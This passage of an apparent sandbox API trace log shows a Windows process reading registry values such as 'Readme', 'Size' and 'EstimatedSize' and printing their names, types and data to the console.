lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.453] __iob_func () returned 0x7fefd702a80 [0147.453] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.453] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.453] _fileno (_File=0x7fefd702ab0) returned 1 [0147.453] _errno () returned 0xc4bb0 [0147.453] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.453] _errno () returned 0xc4bb0 [0147.453] GetFileType (hFile=0x50) returned 0x1 [0147.453] lstrlenW (lpString=" ") returned 4 [0147.453] GetConsoleOutputCP () returned 0x1b5 [0147.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.453] GetConsoleOutputCP () returned 0x1b5 [0147.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.454] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.454] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.454] lstrlenW (lpString="Readme") returned 6 [0147.454] __iob_func () returned 0x7fefd702a80 [0147.454] _fileno (_File=0x7fefd702ab0) returned 1 [0147.454] _errno () returned 0xc4bb0 [0147.454] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.454] _errno () returned 0xc4bb0 [0147.454] GetFileType (hFile=0x50) returned 0x1 [0147.454] lstrlenW (lpString="Readme") returned 6 [0147.454] GetConsoleOutputCP () returned 0x1b5 [0147.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.454] GetConsoleOutputCP () returned 0x1b5 [0147.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0147.454] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.454] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.454] __iob_func () returned 0x7fefd702a80 [0147.454] _fileno (_File=0x7fefd702ab0) returned 1 [0147.454] _errno () returned 0xc4bb0 [0147.454] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.454] _errno () returned 0xc4bb0 [0147.454] GetFileType (hFile=0x50) returned 0x1 [0147.454] lstrlenW (lpString=" ") returned 4 [0147.455] GetConsoleOutputCP () returned 0x1b5 [0147.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.455] GetConsoleOutputCP () returned 0x1b5 [0147.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.455] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.455] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.455] __iob_func () returned 0x7fefd702a80 [0147.455] _fileno (_File=0x7fefd702ab0) returned 1 [0147.455] _errno () returned 0xc4bb0 [0147.455] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.455] _errno () returned 0xc4bb0 [0147.455] GetFileType (hFile=0x50) returned 0x1 [0147.455] lstrlenW (lpString="REG_SZ") returned 6 [0147.455] GetConsoleOutputCP () returned 0x1b5 [0147.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.455] GetConsoleOutputCP () returned 0x1b5 [0147.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.455] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.455] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.456] __iob_func () returned 0x7fefd702a80 [0147.456] _fileno (_File=0x7fefd702ab0) returned 1 [0147.456] _errno () returned 0xc4bb0 [0147.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.456] _errno () returned 0xc4bb0 [0147.456] GetFileType (hFile=0x50) returned 0x1 [0147.456] lstrlenW (lpString=" ") returned 4 [0147.456] GetConsoleOutputCP () returned 0x1b5 [0147.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.456] GetConsoleOutputCP () returned 0x1b5 [0147.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.456] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.456] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.456] __iob_func () returned 0x7fefd702a80 [0147.456] _fileno (_File=0x7fefd702ab0) returned 1 [0147.456] _errno () returned 0xc4bb0 [0147.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.456] _errno () returned 0xc4bb0 [0147.456] GetFileType (hFile=0x50) returned 0x1 [0147.456] lstrlenW (lpString="") returned 0 [0147.456] __iob_func () returned 0x7fefd702a80 [0147.456] _fileno (_File=0x7fefd702ab0) returned 1 [0147.456] _errno () returned 0xc4bb0 [0147.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.456] _errno () returned 0xc4bb0 [0147.456] GetFileType (hFile=0x50) returned 0x1 [0147.456] lstrlenW (lpString="\n") returned 1 [0147.457] GetConsoleOutputCP () returned 0x1b5 [0147.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.457] GetConsoleOutputCP () returned 0x1b5 [0147.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.457] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.457] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.457] GetProcessHeap () returned 0x2e0000 [0147.457] GetProcessHeap () returned 0x2e0000 [0147.457] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.457] GetProcessHeap () returned 0x2e0000 [0147.457] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.457] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.457] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.457] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.457] GetProcessHeap () returned 0x2e0000 [0147.457] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.457] GetProcessHeap () returned 0x2e0000 [0147.457] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.457] GetProcessHeap () returned 0x2e0000 [0147.457] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.457] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.457] __iob_func () returned 0x7fefd702a80 [0147.457] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.457] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.457] _fileno (_File=0x7fefd702ab0) returned 1 [0147.457] _errno () returned 0xc4bb0 [0147.458] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.458] _errno () returned 0xc4bb0 [0147.458] GetFileType (hFile=0x50) returned 0x1 [0147.458] lstrlenW (lpString=" ") returned 4 [0147.458] GetConsoleOutputCP () returned 0x1b5 [0147.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.458] GetConsoleOutputCP () returned 0x1b5 [0147.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.458] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.458] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.458] lstrlenW (lpString="Size") returned 4 [0147.458] __iob_func () returned 0x7fefd702a80 [0147.458] _fileno (_File=0x7fefd702ab0) returned 1 [0147.458] _errno () returned 0xc4bb0 [0147.458] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.458] _errno () returned 0xc4bb0 [0147.458] GetFileType (hFile=0x50) returned 0x1 [0147.458] lstrlenW (lpString="Size") returned 4 [0147.458] GetConsoleOutputCP () returned 0x1b5 [0147.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.459] GetConsoleOutputCP () returned 0x1b5 [0147.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0147.459] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.459] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.459] __iob_func () returned 0x7fefd702a80 [0147.459] _fileno (_File=0x7fefd702ab0) returned 1 [0147.459] _errno () returned 0xc4bb0 [0147.459] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.459] _errno () returned 0xc4bb0 [0147.459] GetFileType (hFile=0x50) returned 0x1 [0147.459] lstrlenW (lpString=" ") returned 4 [0147.459] GetConsoleOutputCP () returned 0x1b5 [0147.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.460] GetConsoleOutputCP () returned 0x1b5 [0147.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.460] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.460] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.460] __iob_func () returned 0x7fefd702a80 [0147.460] _fileno (_File=0x7fefd702ab0) returned 1 [0147.460] _errno () returned 0xc4bb0 [0147.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.460] _errno () returned 0xc4bb0 [0147.460] GetFileType (hFile=0x50) returned 0x1 [0147.460] lstrlenW (lpString="REG_SZ") returned 6 [0147.460] GetConsoleOutputCP () returned 0x1b5 [0147.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.460] GetConsoleOutputCP () returned 0x1b5 [0147.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.460] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.460] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.460] __iob_func () returned 0x7fefd702a80 [0147.460] _fileno (_File=0x7fefd702ab0) returned 1 [0147.460] _errno () returned 0xc4bb0 [0147.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.460] _errno () returned 0xc4bb0 [0147.460] GetFileType (hFile=0x50) returned 0x1 [0147.461] lstrlenW (lpString=" ") returned 4 [0147.461] GetConsoleOutputCP () returned 0x1b5 [0147.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.461] GetConsoleOutputCP () returned 0x1b5 [0147.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.461] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.461] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.461] __iob_func () returned 0x7fefd702a80 [0147.461] _fileno (_File=0x7fefd702ab0) returned 1 [0147.461] _errno () returned 0xc4bb0 [0147.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.461] _errno () returned 0xc4bb0 [0147.461] GetFileType (hFile=0x50) returned 0x1 [0147.461] lstrlenW (lpString="") returned 0 [0147.461] __iob_func () returned 0x7fefd702a80 [0147.461] _fileno (_File=0x7fefd702ab0) returned 1 [0147.461] _errno () returned 0xc4bb0 [0147.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.461] _errno () returned 0xc4bb0 [0147.461] GetFileType (hFile=0x50) returned 0x1 [0147.461] lstrlenW (lpString="\n") returned 1 [0147.461] GetConsoleOutputCP () returned 0x1b5 [0147.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.462] GetConsoleOutputCP () returned 0x1b5 [0147.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.462] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.462] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.462] GetProcessHeap () returned 0x2e0000 [0147.462] GetProcessHeap () returned 0x2e0000 [0147.462] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.462] GetProcessHeap () returned 0x2e0000 [0147.462] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.462] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.462] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.462] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.462] GetProcessHeap () returned 0x2e0000 [0147.462] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.462] GetProcessHeap () returned 0x2e0000 [0147.462] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.462] GetProcessHeap () returned 0x2e0000 [0147.462] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.462] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x828, pcbData=0x23f670*=0x4) returned 0x0 [0147.462] __iob_func () returned 0x7fefd702a80 [0147.462] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.462] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.462] _fileno (_File=0x7fefd702ab0) returned 1 [0147.462] _errno () returned 0xc4bb0 [0147.462] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.462] _errno () returned 0xc4bb0 [0147.462] GetFileType (hFile=0x50) returned 0x1 [0147.462] lstrlenW (lpString=" ") returned 4 [0147.462] GetConsoleOutputCP () returned 0x1b5 [0147.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.463] GetConsoleOutputCP () returned 0x1b5 [0147.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.463] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.463] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.463] lstrlenW (lpString="EstimatedSize") returned 13 [0147.463] __iob_func () returned 0x7fefd702a80 [0147.463] _fileno (_File=0x7fefd702ab0) returned 1 [0147.463] _errno () returned 0xc4bb0 [0147.463] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.463] _errno () returned 0xc4bb0 [0147.463] GetFileType (hFile=0x50) returned 0x1 [0147.463] lstrlenW (lpString="EstimatedSize") returned 13 [0147.463] GetConsoleOutputCP () returned 0x1b5 [0147.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.463] GetConsoleOutputCP () returned 0x1b5 [0147.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0147.463] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.463] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.464] __iob_func () returned 0x7fefd702a80 [0147.464] _fileno (_File=0x7fefd702ab0) returned 1 [0147.464] _errno () returned 0xc4bb0 [0147.464] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.464] _errno () returned 0xc4bb0 [0147.464] GetFileType (hFile=0x50) returned 0x1 [0147.464] lstrlenW (lpString=" ") returned 4 [0147.464] GetConsoleOutputCP () returned 0x1b5 [0147.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.464] GetConsoleOutputCP () returned 0x1b5 [0147.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.464] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.464] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.464] __iob_func () returned 0x7fefd702a80 [0147.464] _fileno (_File=0x7fefd702ab0) returned 1 [0147.464] _errno () returned 0xc4bb0 [0147.464] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.464] _errno () returned 0xc4bb0 [0147.464] GetFileType (hFile=0x50) returned 0x1 [0147.464] lstrlenW (lpString="REG_DWORD") returned 9 [0147.464] GetConsoleOutputCP () returned 0x1b5 [0147.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.465] GetConsoleOutputCP () returned 0x1b5 [0147.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.465] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.465] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.465] __iob_func () returned 0x7fefd702a80 [0147.465] _fileno (_File=0x7fefd702ab0) returned 1 [0147.465] _errno () returned 0xc4bb0 [0147.465] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.465] _errno () returned 0xc4bb0 [0147.465] GetFileType (hFile=0x50) returned 0x1 [0147.465] lstrlenW (lpString=" ") returned 4 [0147.465] GetConsoleOutputCP () returned 0x1b5 [0147.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.465] GetConsoleOutputCP () returned 0x1b5 [0147.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.465] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.465] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.465] __iob_func () returned 0x7fefd702a80 [0147.465] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.465] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x828") returned 5 [0147.465] _fileno (_File=0x7fefd702ab0) returned 1 [0147.465] _errno () returned 0xc4bb0 [0147.466] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.466] _errno () returned 0xc4bb0 [0147.466] GetFileType (hFile=0x50) returned 0x1 [0147.466] lstrlenW (lpString="0x828") returned 5 [0147.466] GetConsoleOutputCP () returned 0x1b5 [0147.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x828", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0147.466] GetConsoleOutputCP () returned 0x1b5 [0147.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x828", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x828", lpUsedDefaultChar=0x0) returned 5 [0147.466] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0147.466] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.466] __iob_func () returned 0x7fefd702a80 [0147.466] _fileno (_File=0x7fefd702ab0) returned 1 [0147.466] _errno () returned 0xc4bb0 [0147.466] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.466] _errno () returned 0xc4bb0 [0147.466] GetFileType (hFile=0x50) returned 0x1 [0147.466] lstrlenW (lpString="\n") returned 1 [0147.466] GetConsoleOutputCP () returned 0x1b5 [0147.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, 